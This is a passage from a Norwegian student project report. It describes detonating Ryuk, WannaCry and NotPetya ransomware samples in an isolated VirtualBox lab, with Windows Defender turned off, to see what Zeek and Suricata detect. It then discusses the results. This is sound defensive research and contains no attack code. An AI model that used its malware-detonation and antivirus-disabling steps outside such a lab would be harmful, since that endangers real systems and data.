nettverksniva ved bruk av Zeek og Suricata, i tillegg til at vi vil undersgke pakkene direkte i

Wireshark dersom det er hensiktsmessig.

5.3.1 Introduksjon

MITRE ATT&CK er et rammeverk produsert av MITRE i 2013 som kontinuerlig oppdateres
og forbedres. Rammeverket er laget for & dokumentere angrepsteknikker, angrepstaktikker,
angrepsgrupper, skadelig programvare og metoder for skadebegrensning, basert pa
observasjoner fra den virkelige verden [2]. Hensikten med rammeverket er a legge til rette for
et mer effektivt arbeid med datasikkerhet. Dermed tilbyr rammeverket et godt utgangspunkt

dersom man skal gjennomfare forskjellige tester tilknyttet datasikkerhet.

T1486 er identifikasjonsnummeret til MITRE ATT&CK-teknikken “Data Encrypted for
Impact” [3]. Teknikken beskriver at angripere krypterer data pa malsystemer eller hele
nettverk bestaende av flere malsystemer. Dette gjer at de bergrte malsystemene og de
tilknyttede dataene pa systemene i praksis blir utilgjengelige eller ubrukelige.

En forutsetning for at T1486 kan forekomme er at angriperne har fatt aksess til et eller flere
mélsystemer (TA0001 “Initial Access” i MITRE ATT&CK-verdenen). Bade T1486 og
TAO0001 kan man finne i MITRE ATT&CK sin matrise, som viser en oversikt over
forskjellige taktikker og teknikker i MITRE ATT&CK-rammeverket.

Den mest utbredte formen for T1486 er forskjellige former av Ransomware-angrep
(lzsepengevirusangrep). Et Ransomware-angrep gar ut pa at angriperne krypterer filer pa en
eller flere malsystemer, og falgende krever lgsepenger for a dekryptere filene. Typiske filer
som blir kryptert i slike angrep er Office-dokumenter, PDF-er, bilder, videoer, tekstfiler og
kildekodefiler, men det hender ogsa at Ransomware-angrep krypterer systemfiler, hele
diskpartisjoner og MBR (“Master Boot Record”). Dersom angrepet er sofistikert nok, er den
eneste maten a beskytte seg direkte mot slike angrep a benytte seg av sikkerhetskopier av
dataene (skadebegrensningsnummer M1053 i MITRE ATT&CK-verdenen).
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| dette forsgket vil vi gjennomfare flere forskjellige former for Ransomware-angrep, og vi tar
derfor forbehold i testene om at “Initial Access” allerede er oppnadd. Etter at angrepene er
kjart vil vi se pa hvordan dette ser ut pa nettverksniva ved bruk av deteksjonsverktgyene vare
(Suricata og Zeek), samt at vi vil undersgke pakkestrammene direkte (PCAP-filene av

angrepene).

En av de sentrale grunnene til at vi gnsket & gjennomfare et slikt forsgk, er at vi har en
hypotese om at nettverksbasert IDS i ganske liten grad skal klare & fange opp at det foregar et
Ransomware-angrep. Dette skyldes at majoriteten av det som foregdr tar sted pa
endepunktsniva. Det er likevel veldig spennende a se pa hvordan det faktisk ser ut pa
nettverksniva, med a se pa hvilke pakker som blir sendt fra den infiserte maskinen, og

eventuelt om skadevaren sprer seg videre pa nettverket, og hvordan dette ser ut.

Til slutt er det verdt a nevne at MITRE ATT&CK-teknikker i stor grad er tilpasset visibilitet
pa endepunkter, og dermed endepunktsbasert sikkerhet [4]. Derfor er dette en potensiell
svakhet ved & benytte oss av en MITRE ATT&CK-teknikker i arbeidet med & teste ut

nettverksbaserte sikkerhetsverktay.

5.3.2 Planlegging

Det er mange aspekter det er viktig 4 tenke pa far man slipper fri skadevare i et datasystem.
Det mest sentrale er at man ikke gjennomfarer en slik gvelse uten at man er helt sikker pa at
det man faktisk gjer er trygt, da dette kan fa store konsekvenser for den underliggende
maskinvaren og programvaren man arbeider pa.

Basert pa dette er det tre konkrete ting vi forbereder far vi gjennomfarer forsgket, i tillegg il

en ting vi gjennomfarer for & senere kunne verifisere at skadevaren vi kjarer fungerer:
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Farst gnsker vi a lage noen filer pa de aktuelle maskinene (Windows 7 og Windows 10-
maskinene), slik at vi enkelt kan verifisere og vise at angrepet fungerer slik det er anslatt.
Dette er ikke kritiske forberedelser slik de neste forberedelsene vi beskriver er. Filene som

ligger pa maskinene, bestar av et enkelt vilkarlig tekstdokument og et vilkarlig «png»-bilde:

E] Tekstdokument - Notisblokk — (] he Bilder - Logo.png - O X

Fil Rediger Format Vis Hjelp 4+ @ W o "~ " K2~

Her er det lesbar tekst!

ATT&CK

Ln 1, Kol 25 100%  Windows (CRLF) UTF-8

Den andre tingen vi forbereder er at vi tar Snapshot av de aktuelle maskinene sin tilstand for
forsgket. Dette skyldes at de kan bli krypterte av Ransomware-virusene, og falgende ikke
fungerer til videre testing. Har vi tatt Snapshot av tilstanden kan vi skru av maskinene, for sa
a gjenopprette den tidligere tilstanden far de ble eksponert for Ransomware. Vi kan da

fortsette arbeidet i testmiljget ogsa etter forsgket.

Vi tar Snapshot av begge maskinene i VirtualBox som vist pa bildene under:

i Details

Kali Linux (Snapshot 2) l"a Snapshots
261 5 RPunninn

8 Take Snapshot of Virtual Machine ? X

L]
E ’ Snapshot Name
fallo]

Snapshot 2 - Far angrep

Snapshot Description
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Videre er det viktig at vi isolerer maskinene der vi skal slippe lgs Ransomware-angrepet fra
resten av testmiljget vart. Dette er en generell forhandsregel som er helt sentralt nar man
arbeider med skadevare. Dersom vi gjer dette sgrger vi for a veare helt sikre pa at
Ransomware-virusene ikke kommer til en maskin vi ikke gnsker at skadevaren skal bli
spredt.

Maten vi gjer dette pa er at vi kobler Windows 7 og Windows 10-maskinene til samme

“Internal Network™ inne i1 VirtualBox som pa bildet under:

@
B General Network
R | System Adapter 1 Adapter 2 Adapter 3 Adapter 4
- Display Enable Network Adapter
o) St Attached to: Internal Network @
.7 orage
. Name: | intnet
(@ /_] Audio
= [> Advanced
|-1 Network

Ellers er det helt sentralt for forsgket at vi kan fange opp nettverkstrafikken fra angrepet, og
falgende undersgke denne. Derfor kobler vi ogsa nettverksgrensesnitt (adapter) 2 fra Security
Onion-maskinen til det samme interne nettverket (i VirtualBox) som Windows-maskinene ble
koblet til. Vi kan sa undersgke nettverkstrafikken fra det opprinnelige nettverket (“Host-Only
Ethernet adapter”) gjennom administrasjonsnettverksgrensesnittet (adapter) 1. Innstillingene

for i VirtualBox for dette er vist pa bildene under:

‘t.‘) Security Onion - Settings ¥ Security Onion - Settings

B cenenal Network B ceneral Network

& System Adapter 1 Adapter 2~ Adapter3  Adapter 4 Jl System Adapter 1 Adapter2  Adapter3  Adapier 4
B Display Enable Network Adapter Bl Display Enable Network Adaptel

e . . N Attached to: Internal Network
\i‘ Storage Attached to: Host-only Adapter m Storage

Name: VirtualBox Host-Only Ethernet Adapter Name: | intnet
(i/_l Audio (/J Audio

[» Advanced [» Advanced

|
\-1 Network |!1 Network
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Etter at vi har gjennomfart dette ender vi altsa opp med et nettverk kun bestaende av
Windows 7 og Windows 10-maskinen som kommunisere med hverandre, samt Security

Onion som sniffer opp trafikken mellom dem.

Helt til slutt ensker vi ogsa a skru av virusbeskyttelsesprogrammet “Virus & threat
protection” pa Windows 10-maskinen (Windows 7 maskinen er utdatert, og derfor er ikke
dette ngdvendig her). Dette skyldes at Windows 10-maskinen allerede har flere
sikkerhetsoppdateringer pa plass for Ransomware-virusene vi skal kjare. Ettersom hensikten
er & se hvordan det ser ut pa nettverksniva etter at virusene blir kjgrt er det helt sentralt at
dette programmet er skrudd av, ellers vil ikke Windows 10 la oss kjgre Ransomware-
virusene, og falgende er det ingenting a undersgke pa nettverksniva. Umiddelbart kan dette
hares som en noe underlig ting a gjare, men potensielle nye skadevarer vil ikke ngdvendigvis
bli fanget opp av Windows-programmet (Virus & threat protection), sa det kunne like gjerne
veert et slikt virus vi kjgrte. Maten vi skrur av programmet er ved a ga inn i innstillingene for

Windows Security:

Windows Security

&«
“s Virus & threat protection settings
- View and update Virus & threat protection settings for Microsoft
Defender Antivirus.
i
| O

Real-time protection
A Locates and stops malware from installing or running on your device. You
can turn off this setting for a short time before it turns back on
automatically.

= €3 Real-time protection is off, leaving your device vulnerable.

s @o

Etter at vi har gjennomfart disse fire stegene, er vi klare til & starte med forsgket.
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5.3.3 Gjennomfaring

Vi starter gjennomfaringen av forsgket ved a laste ned den respektive skadevaren (linkene til
sidene vi hentet skadevaren fra ligger under punkt 7.0). Skadevaren blir lastet ned som “.zip”-
filer. A laste det ned pa denne méten fungerer som et sikkerhetslag, ved at det er mye
vanskeligere a kjare filen ubevisst (for eksempel ved at man kjgrer filen ved en feil fremfor &
kopiere den). Etter at vi har lastet ned filene, overfarer vi de til Windows 7 og Windows 10-
maskinene. Maten vi gjorde dette pa var ved a opprette en delt mappe pa Windows Server
2019-maskinen, for sa a koble Windows 7 og 10-maskinen til det samme nettverket (“Host-
Only Ethernet Adapter”), og videre hente skadevaren fra den delte mappen. Etter dette koblet

vi igjen maskinene til det interne isolerte nettverket.

Pa bildet under kan man se hvordan maskinene ser ut i forkant av angrepet:

"] Tekstdokument - Notepad
File Edit Format View Help
er det leshar tekst!

1] Logo - Windows Photo Viewer folal=s
- @

File = Print ¥ E-mail Burn ¥ Open

ATT&CK

EEE

Ryuk Ransomware

Den farste testen vi skal gjennomfare er ved & benytte oss av en versjon av Ryuk
Ransomware (S0446 i MITRE ATT&CK-rammeverket). Ryuk Ransomware er skadevare
som siden slutten av 2018 hovedsakelig har malrettet seg mot bedrifter, for sa a kreve store
belgp i kryptovaluta for ra. Spesielt for Ryuk er at de i hovedsak sikter seg inn mot store
bedrifter, for sd & kreve store belgp i kryptovaluta som lgsepenger. Det antas at angriperne
bak Ryuk (fortrinnsvis angrepsgruppen G0102 Wizard Spider) har tjent 150 millioner dollar
pa skadevaren ved utgangen av 2020 [5].
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Skadevaren skal vi kjgre pa Windows 10-maskinen. Vi starter da med & pakke ut
Ransomwaren fra “zip”-filen. Etter dette ender vi opp med en fil som ikke har en spesifisert
filtype. Vi gjor derfor filen om til en “.exe”-fil, slik at vi fglgende kan kjgre den, og den ser

da slik ut:

Marme Date modified Type Size

. 29643ebd3d50%ddeac20aladSdi571f8d7Y...  5/13/2027 12:29 PM Application 549 KB

Vi dobbeltklikker sa pa applikasjonen for a kjgre den, og apner deretter opp
oppgavebehandling for & falge med pa viruset, far vi sorterer etter CPU-bruk, da
applikasjonen bruker mye prosessorkraft (opp mot 85% av kapasiteten i vart tilfelle). Det er
interessant & se pa navnet som applikasjonen har (“When Excel Painbrush”), da

Ransomware-viruset pa denne maten forsgker a skjule seg gjennom navnet:

1% Task Manager — O *
File Options  Wiew
Processes  Performance App history Startup  Users Details Services
¥ 61% 41%
Marne Status CPU Mermory
. When Excels Paintbrush (32 bit) 48.2% 3.3 MB =
[#E] System 45% 0.1 MB
1% Task Manager 3.2% 17.6 ME
Search 24%  T9.TMB
i Windows Explorer 0.9% 48.5 MB
[®Z] Client Server Runtime Process 0.6% 0.7 MB
[2Z] Desktop Window Manager 0.6% 272 MB
Service Host: Diagnostic Pelicy .. 0.3% 19.7 MB
Microsoft OneDrive (32 bit) 0.3% 7.9 MB
51 Runtime Broker 0% 5.7 MB ¥
{ >
Fewer details End tas
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Etter hvert kan vi ogsa se at applikasjonen kjarer seg selv flere ganger:
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152 Task Manager

File Options View

Processes Performance App history Startup  Users

Mame

When Excels Paintbrush (32 bit)
When Excels Paintbrush (32 bit)
When Excels Paintbrush (32 bit)

7 Task Manager

[®] System

[#] Client Server Runtime Process

[B5] System interrupts

[®] Desktop Window Manager

BEX Console Window Host

o] Windows Defender SrmartScreen

Fewer details

Status

Services

~ 100%
CPU

35.3%
33.5%
20.8%
3.3%
3.1%
1.8%
0.4%
0.3%
0%

0%

45%

Mernary

33MBE
3.3 ME
92,1 MB
17.2 MB
0.1 MB
0.2 MB
0O MB
27.2 MB
6.1 ME

7.2 MB

End task
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Etter at applikasjonen har kjart en stund, dukker det opp en Microsoft Edge-fil pa
skrivebordet med navnet RyukReadMe. Vi kan ogsa se at bildet og tekstdokumentet som

tidligere 13 pa skrivebordet har fatt filtypen “.RYK”:

Type: Microsoft Edge HTML Document

Size: 627 bytes
Date modified: 5/13/2021 1:07 PM

58 O Type here to search O & @ = B = m ~@do

“ RYK”-navnet forteller oss at filene p& maskinen har blitt kryptert. Apner vi for ordens skyld

en av filene ser vi at innholdet er uleselig:

| Loego.png - Notepad - O >
File Edit Format View Help h

BRI & M M VPP a2 B0 |- SOOI S AT 0 i & 1B RS ISR
BREMATR R EE AR I v AR R R R D IR R IZ AR R Y B e ey B EEIE- Wi S

Side 99 av 118

Side 201 av 221



Driftsrapport Oppgavenummer 44 @ NTNU

Vi kan ogsa se at nettverksfilene som maskinen har delt i det lokale nettverket ogsa har blitt

kryptert, og samtidig ogsa fatt en egen “RyukReadMe”-fil:

a9643eb33d509addeac?0a2al0dB5718d7... 5/13/2021 1:17 PM File folder
Mj 23fBaa%4ffb3c08abd T35feTfees799880a8f3...  5/13/2021 1:17 PM RYK File 192 KB
Mj a9643ebd33d509ad4eac20a2alddads71f8d7...  5/13/2021 1:17 PM RYK File 363 KB
Mj Filer2.zip 5/13/2021 1:17 PM RYK File 3,401 KB
& RyukReadMe 51372021 117 PM Microsoft Edge H... | KB

“ReadMe”-filen til Ryuk ser for gvrig i dette tilfellet slik ut, og det kommer frem at man skal

kontakte en mailadresse:

B | [0 RyukReadMe html N x |+
& @ File | CyUsers/Administrator/Desktop/RyukReadMe.html T8 1= 2

@ To be most productive with Microsaft Edge, finish setting up your browser. Complete setup Maybe later

anfreesextuol982@protonmail.com

Ryuk

balance 'of shadow universe

Na som viruset har kjart en stund, er det spennende & se hva som har foregatt pa
nettverksniva. Vi starter med a se at Suricata ikke har produsert noen varsler. Nar det
kommer til Zeek har det riktignok forekommet en rekke hendelser i lgpet av de farste 45

minuttene etter angrepet forekom:

event.module event.dataset
zeek dns
zeek conn

Feek ntlm

zeek smb_mapping
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Far vi gar videre er det verdt & nevne at vi i utgangspunktet hadde planer om a teste en Ryuk-
versjon fra 2021 (versjonen vi bruker er fra 2018), som ogsa ville spredt seg i nettverket [6].
Ettersom vi ikke klarte & anskaffe denne formen av Ryuk, sa vil altsa viruset ikke spre seg
videre i det lokale nettverket, og falgende er det mindre a undersgake.

Undersgker vi hendelsene som Zeek produserte videre, kan vi se at noe av det ferste Ryuk
gjorde etter at det kjarte pa maskinen var a sende en «echox»-forespgrsel til maskinene pa
enhetens ARP-liste:

2021-05-16 08:50:18.907 +00:00 60039 224.0.0.251
2021-05-16 08:50:18.610 +00:00 60038 224.0.0.22
2021-05-16 08:50:18.240 +00:00 60037 10.0.0.5
2021-05-16 08:50:11.974 +00:00 60035 224.0.0.251
2021-05-16 08:50:11.687 +00:00 60034 224.0.0.22
2021-05-16 08:50:11.374 +00:00 3 10.0.0.4

2021-05-16 08:50:11.372 +00:00 10.0.0.5

Address

Her er 10.0.0.5 (Windows 7-maskinen) den eneste som svarer pa forespgrselen (noe som er
naturlig ettersom det er den eneste andre maskinen pa nettverket). Ryuk virker & ikke gjgre

noe videre med Windows 7-maskinen til tross for svaret.

Utover veldig mange foresparsler til kringkastingsadressen i nettverket (10.0.0.255),
flerkastingsadressene (224.0.0.22 og 224.0.0.251) og SSDP-adressen (Simple Service
Discovery Protocol, 239.255.255.250), er det lite annet som Ryuk foretar seg pa

nettverksniva. Alt dette er tilknyttet at viruset prgver 8 kommunisere ut, men ettersom det er
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et lite annet a finne i nettverket en Windows 7-maskinen er det lite som skjer videre. Bildet

under viser et lite innslag av denne trafikken:

2021-05-16 09:46:31 196 +00-00 5353 224.0.0 251
2021-05-16 09:46:31.192 +00:00 5353 224.0.0.251
2021-05-16 09:46:31.192 +00-00 5353 224.0.0.251
2021-05-16 09:46:31 162 +00-00 37 10005
2021-05-16 09:46:31.162 +00:00 37 10.0.0.5
2021-05-16 09:46:31 161 +00-00 37 10.0.0.255
2021-05-16 09:46:31 161 +00-00 37 10.0.0.255
2021-05-16 09:44:46.517 +00:00 60062

2021-05-16 09 252 +00: 60061

2021-05-16 09:40 5 B 60060

2021-05-16 09:38:11.986 +00:00 60059

2021-05-16 09:36:00.532 +00:00 60058

Dermed er det lite som er interessant & undersgke pa nettverksniva i dette tilfellet. Det er
derfor heller ikke noe sarlig interessant & undersgke noe naermere i Wireshark, noe som

opprinnelig var tiltenkt.

Annen Ransomware

| utgangspunktet hadde vi planer om a kjgre en rekke forskjellige typer av Ransomware i
testmiljget, og dette har vi ogsa gjort. Det som viste seg a bli et problem (i likhet med Ryuk)
var at ingen av formene for Ransomware som vi kjgrte faktisk spredte seg i nettverket. Dette
var uavhengig av om vi kjere skadevaren pa Windows 7 eller Windows 10. Grunnen til at det
ble slik, er vi usikre pa, men det kan ha noe med maten det interne nettverket var satt opp pa,
eller at nettverket ikke hadde tilgang til Internett. Fglgende har vi heller ikke fatt muligheten
til & gjennomfare det som var mye av hensikten med det faktiske forsgket, da det var a

undersgke hvordan ulike typer Ransomware sprer seg i det lokale nettverket.

Vi kan likevel ga kort inn pa deler av skadevaren vi kjarte, men som i likhet med Ryuk heller

ikke spredte seg i nettverket.
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Et av Ransomware-virusene som vi kjgrte flest ganger, var forskjellige versjoner av
WannaCry Ransomware (S0366). Det som hendte nar vi kjgrte WannaCry-skadevaren var at
filene pa maskinen vi kjarte skadevaren pa ble kryptert, og det dukket opp en melding om at
angriperne krevde 300 dollar i Bitcoin. Da vi kjgrte WannaCry pa Windows 10-maskinen,
forventet vi fglgende at skadevaren ville utnytte svakheten MS17-010 pa Windows 7-
maskinen, som for gvrig er den svakheten vi utnyttet i forsgk 2 (punkt 5.3.2.3), og felgende
skulle klare & spre seg. Dette skjedde ikke, og det eneste av interesse som foregikk utenom
endepunktet var at maskinen forsgkte a koble seg til en rekke eksterne IP-adresser (der alle
var forbundet med skadevare inne pa VirusTotal). Dermed var det i liten grad noe som
differensierte seg pa nettverksniva fra nar vi kjerte Ryuk og WannaCry, og felgende kom vi
fram til at det ikke var hensiktsmessig a dokumentere WannaCry i denne rapporten. Det
samme var ogsa tilfellet for andre former for Ransomware (50368 NotPeya) som vi ogsa

forspkte oss pa a kjare i testmiljget.

Dermed klarte vi ikke & produsere noen interessante resultater her, til tross for at vi forsgkte

flere versjoner av tre ulike former for Ransomware.

5.3.4 Evaluering

Gjennom dette forsgket fikk vi undersgkt en rekke eksempler pa MITRE ATT&CK-
teknikken T1486, for & oppnd innsikt i hvordan det ser ut pa nettverksniva i slike tilfeller.
Resultatene av forsgket ga oss totalt sett ganske lite innsikt over hva som foregar i
forbindelse med T1486, ettersom vi ikke fikk dokumentert et eneste Ransomware-angrep som

spredte seg i nettverket, og dette var hovedsakelig hensikten med & gjennomfare forsgket.

Vi vil likevel evaluere litt rundt den formen for Ransomware som vi valgte & dokumentere (til
tross for kjedelige resultater), og dette var et eksemplar av Ryuk Ransomware fra 2018. Dette
kjerte vi pa Windows 10-maskinen, og her ble filene pa maskinen og dens nettverksdelinger
kryptert. Dette forsgket ble riktignok noe mindre interessant enn vi sa for oss, da vi ikke
klarte & avskaffe en versjon av Ransomware-skadevaren som spredte seg over
lokalnettverket. Dermed er det vi forst og fremst kan ta med oss videre fra dette forsgket er at
deteksjon pa nettverksniva i sveert liten grad har noe serlig a tilby i forbindelse med et faktisk
T1486 (noe som i seg selv er veldig logisk da det handler om kryptering av endepunkter) i

tilfeller det vi ser bort ifra at skadevaren sprer seg i nettverket. Hvis vi derimot hadde
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undersgkt en av metodikkene tidligere i MITRE-matrisen (feks TA0001 “Initial Access”)
som ma forekomme for at T1486 kan utspille seg, kan det derimot hende at

deteksjonsverktgyene pa nettverksniva ville kunne tilbudt mye god innsikt.

Videre er det verdt & nevne at en av hovedgrunnene til at forsgket endte opp sa begrenset som
det gjorde, var at tiden rett og slett ikke strakk til. Da vi startet pa forsgket var vi allerede i en
tidspresset situasjon, ettersom aktiviteter tidligere i prosjektlgpet hadde tatt lenger tid enn
planlagt. Aktiviteten med a teste ut forskjellige former for Ransomware er ogsa en aktivitet vi
i prosjektgruppa ikke har noe sarlig kunnskap til fra far av. Dette gjorde for det farste at vi
matte bruke tid pa a sette oss inn i de forskjellige formene for Ransomware, i tillegg til den
overordnede MITRE-teknikken som var utgangspunktet for forsgket. | utgangspunktet fglte
vi at vi klarte & sette oss inn i dette pa en tilstrekkelig god mate far vi startet testingen, men
da resultatene avviket i sa stor grad fra det vi hadde sett for oss (ved at de forskjellige
formene for skadevare ikke spredte seg i nettverket), fikk vi rett og slett ikke nok tid til &
gjennomfare forsgket pa en tilstrekkelig god mate ettersom vi da ikke fikk tid til flere
iterasjoner med arbeid tilknyttet forsgket.

Samtidig er det ogsa ngdvendig 4 nevne at det & skaffe gode eksemplarer av Ransomware
ogsa var utfordrende (litt samme problemet som det vi hadde da vi skulle ga til anskaffelse av
gode datasett i forsgk 1). Dette er igjen noe vi ikke har alt for mye erfaring med fra tidligere,

og Vi opplevde det som litt sporadisk nar det kom til hvilke Ransomware vi fant pa Internett.

Som en kort oppsummering kan vi da si at basert pa forsgket og arbeidet vi har lagt ned
tilknyttet forsgket, er det ikke mye utbytte tilknyttet T1486 man oppnar ved bruk av
nettverksbasert deteksjon. Dette er noe vi har kommet fram til farst og fremst basert pa
undersgkelsene vi gjorde, og dermed i mindre grad basert pa forsgkene vi gjennomferte i
testmiljget. Det eneste vi har kommet fram til som fremmer T1486 i kontekst av
nettverksbasert deteksjon, tar utgangspunkt i en situasjon der det er maskiner som benyttes i
et nettverk der maskinene ikke benytter endepunktsbasert deteksjon. | disse tilfellene vil
nettverksbasert deteksjon likevel kunne gi noe innsikt, farst og fremst ved at man da kan

fange opp unaturlig nettverkskommunikasjon med eksterne IP-adresser.
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6. Drgfting av oppgave

| denne seksjonen vil vi gjgre en drgfting av oppgaven. Maten vi vil gjare dette pa, er forst
ved a drafte rundt de resultatene vi har produsert i testmiljget. Vi vil her forsgke & dreie ut om
hva disse resultatene har a si for oppgaven. Videre vil vi fremlegge tanker rundt EDR og
NIDS, og sette de forskjellige teknologiene opp mot hverandre. Etter dette vil vi presentere et
konsept som vi har kommet fram til er av stor betydning for den overordnede konteksten til
oppgaven, nemlig “Swizz Cheese Model”. Helt til slutt vil vi presentere konklusjonen var for
hele oppgaven. Denne konklusjonen er basert pa arbeidet i testmiljget, samt alle de

undersgkelsene vi har gjort i forbindelse med oppgaven.

6.1 Egne resultater i testmiljg

Vi vil i dette punktet drgfte rundt arbeidet vi har gjennomfart i testmiljget, og videre legge
frem det vi har fatt ut av dette arbeidet. Vi vil gjere dette ved a farst diskutere litt rundt
prosessen med & planlegge hvilke forsgk vi skulle gjennomfgre. Videre vil vi drafte
resultatene fra de tre respektive forsgkene vi har gjennomfart i testmiljget, og forsgke &
beskrive deres betydning for den overordnede oppgaven. Til slutt vil drgfte litt rundt tester
som vi hadde gnsket & gjennomfare, men ikke fikk muligheten til.

6.1.1 Planlegging av forsgk

Det a planlegge relevante forsgk til testing i testmiljget vart, var en prosess som bgd pa
mange utfordringer. En av de starste utfordringene i forbindelse med dette var at erfaringen
og kunnskapen var rundt metodikker og framgangsmater for a gjennomfare gode tester var
ganske begrenset. Grunnen for at det var slik, var at kunnskapsnivaet vart rundt de aktuelle
teknologiene og programvarene var noe begrenset far vi startet pa oppgaven. Dette resulterte
i at vi brukte mye tid underveis pa a forbedre kompetansen pa teknologiene og programvaren
i seg selv, fremfor a finne ut av hvordan man kunne teste ut teknologien og programvaren i et
testmilja. Vi fikk heller ikke tilgang pa ressursene like tidlig i prosjektlgpet som vi hadde sett
for oss, og vi var derfor i en situasjon hvor testmiljget ble ferdig pa et senere tidspunkt enn
planlagt, som igjen gjorde at vi pa et senere tidspunkt enn planlagt ble komfortable pa

hvordan man kunne bruke testmiljget til testing.
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Dette resulterte derfor i at vi hadde darligere tid tid til & planlegge, gjennomfare og evaluere
testene enn det som var planlagt. Selv om kompetansen var rundt teknologiene etter hvert ble
ganske god, hadde vi like fullt fortsatt ganske begrenset med kunnskap rundt hvordan man
kunne gjennomfare gode tester i et testmiljg. Nar vi etter hvert bestemte oss for hvilke tester
vi skulle gjennomfare, hadde vi heller ingen garanti for at det var gode fremgangsmater. Sann
sett kan vi si at veien ble gatt opp litt underveis for noen av forsgkene vare, noe som i
utgangspunktet ikke er noen ideell fremgangsmate. | retrospekt er dette likevel noe som

fungerte greit, da vi falte at forsgkene leverte gode resultater.

Ellers er det sentralt & nevne at vi underveis i arbeidet med testmiljget fikk gode innspill til
mulige fremgangsmater fra faglig veileder, og vi hadde derfor ogsa noen fremgangsmater for
forsgk som vi falte at var tilstrekkelig gode. Dette var riktignok fremgangsmater som vi kom
fram til at ble for komplekse for oss. Dette var fgrst og fremst tilknyttet tiden vi hadde igjen
(for kort), men ogsa kompleksiteten i seg selv. Riktignok har forsgket vi gjennomfarte i punkt
5.3 utspill fra denne fremgangsmaten, da forsgket vi gjennomfarte her ville veert en del av

den overordnede fremgangsmaten vi gjerne skulle ha fulgt.

Til slutt er det ogsa naturlig a nevne at flere av ideene vi kom opp med til forsgk ogsa var
vanskelig & gjennomfare i et testmiljg, og hadde passet bedre i et faktisk produksjonsmiljg.
Dette skyldes farst og fremst at kompleksiteten i testmiljget var svert lav, og det var fa
maskiner i testmiljget, og ogsa lite realistisk trafikk. Videre var ogsa flere av forsgkene som
vi sa for oss a gjennomfare, vanskelig & gjennomfare i praksis. Dette blir gjennomgatt i punkt
6.1.4.

6.1.2 Drofting av forsgk 1 - Godartede og ondartede PCAP-filer

Det farste forsgket vi gjennomfarte i testmiljget baserte seg pa a importere seks ulike datasett
(PCAP-filer) inn i Security Onion, for sa a analysere hvordan trafikken sa ut pa nettverksniva.
Tre av datasettene var godartede, og tre av datasettene var ondartede. Intensjonen med
datasettene var at de til sammen skulle dekke mange ulike former for trafikk, slik av vi

falgelig kunne se pa NIDS sin respons pa ulike typer trafikk.
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Det a gjennomfgre disse testene var en lererik aktivitet for oss i prosjektgruppen, og testene
viste ogsa mye om hvordan et NIDS fungerer. Testene klarte pa en god mate & fremvise en av
de starste styrkene til NIDS, nemlig & detektere og alarmere om ukryptert trafikk som har en
kjent signatur. Pa den andre siden viste testene ogsa flere av svakhetene til NIDS,
eksempelvis gjennom at NIDS har en tendens til a produsere falske positive, og ogsa at det er
en krevende aktivitet finjustere regelsettet. Ettersom testene baserte seg pa PCAP-filer
fremfor samtidstrafikk, fikk vi ikke testet ut kapasiteten til NIDS i form av om NIDS droppet
a analysere pakker tilknyttet stor trafikk. Det er riktignok usannsynlig at NIDS ville gjort det i
vart tilfelle, og det er uansett avhengig av ressursene som er allokert, og sann sett er det ogsa

av mindre relevans for oppgaven.

Ellers er det flere svakheter ved forsgket som det er naturlig 4 gjennomga. Datasettene var
enten flere ar gamle, eller i stor grad kryptert. Slik kan resultatene fort virke & ha lite relevans
for oppgaven. Likevel er det en god grunn til at det ble slik, og forsgket kunne fort ha fatt et
darligere utfall for oppgavens kontekst, dersom det kun hadde blitt tatt i bruk nyere datasett.
Dette skyldes at datasettene da i enda sterre grad ville veert kryptert, og det ville ha veert sveert
lite trafikk som NIDS potensielt kunne flagge. Hadde vi riktignok produsert det testmiljoet
som vi i utgangspunktet hadde sett for oss, ville vi hatt muligheten til bade & produsere alle
datasettene selv, og fglgelig ogsa fatt muligheten til & benytte oss av SSL/TLS-inspeksjon.
Dermed kan man anta at resultatene fra flere av datasettene fra testene vi gjennomfgrte (noen
gamle datasett med mye ukryptert data) ville blitt omtrent like som resultatene av nyere
datasett dersom testmiljget hadde blitt som vi opprinnelig sa for oss (med ukryptert data
grunnet SSL/TLS-inspeksjon). Denne betraktningen kan derfor veere med pa a gke relevansen

til forsgket vi har gjennomfart.

Ellers er det ogsa viktig med tanke pa forsgkets relevans for den overordnede oppgaven a
nevne at vi i forsgket kun testet NIDS-teknologi, og ikke EDR-teknologi. Hadde vi
implementert en EDR-lgsning i testmiljget vart, og falgende sett hvordan EDR-teknologien
reagerte pa den samme trafikken, ville vi hatt et bedre grunnlag til & uttale oss om “trade-
offs” ved a ikke benytte seg av NIDS. Dette skyldes at vi da direkte kunne sammenlignet de
varslene/hendelsene som NIDS og EDR produserte. Dette var likevel et bevisst valg a ikke
implementere en EDR-Igsning i testmiljget, og denne beslutningen ble tatt av to grunner. For
det farste ville det krevd mye tid, og gkt kompleksiteten i testmiljget samt arbeidet som matte
bli lagt ned for & dokumentere. Dette ville da tatt tid fra andre aspekter ved testmiljget, blant
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annet ville det kunne begrenset forsgkene vi fikk tid til & gjennomfare. Videre sa kom vi ogsa
frem til at det som var viktigst a prioritere gitt oppgavens kontekst var NIDS, og at en

begrensning i hva vi implementerte ville gke kvaliteten var tilknyttet arbeidet med NIDS.

Til tross for at forsgket har vist oss mye om NIDS, inkludert svakheter og styrker ved
teknologien, sa kan vi ikke legge alt for mye dybde i resultatene fra forsgket sett i kontekst av
den overordnede oppgaven. Dette skyldes i stor grad at vi som nevnt gjennom forsgket ikke
fikk sammenlignet resultatene fra NIDS og EDR direkte, da vi ikke hadde implementert en
EDR-lgsning. Vi har dermed heller ikke resultater som direkte viser fordeler av a benytte seg
av NIDS fremfor EDR. Ellers ma vi ogsa hensynta andre svakheter som forsgket hadde, og
da farst og fremst at datasettene ikke var optimale for formalet. Det er likevel ogsa en del
som vi kan ta med oss videre fra forsgket. Dette er i stor grad knyttet til at NIDS leverte godt
pa de forskjellige testene, og ogsa at det var overraskende enkelt & behandle (dette er i stor
grad tilknyttet gode tjenesteverktay levert gjennom Security Onion) varslene og konfigurere
regelsettet. Vi kan dermed ta med oss videre fra forsgket at NIDS pa en god mate klarte &
levere deteksjon og visibilitet pa nettverksniva, i de tilfellene forholdene la til rette for det.

6.1.3 Drafting av forsgk 2 - Skanning og utnyttelse av sarbarheter

Det andre forsgket vi gjennomfarte i testmiljget, baserte seg pa at vi gjennomfarte
sarbarhetsskanninger pa maskinene i nettverket. Fglgende sa vi pa hvordan
deteksjonsverktayene vare pa nettverksniva fanget opp denne trafikken. Basert pa skanningen
fant vi flere sarbarheter pa Windows-vertene, blant annet fant vi ut at Windows 7-verten var
sarbar mot MS17-010. Vi utnyttet denne sarbarheten, far vi falgende lastet opp en fil og
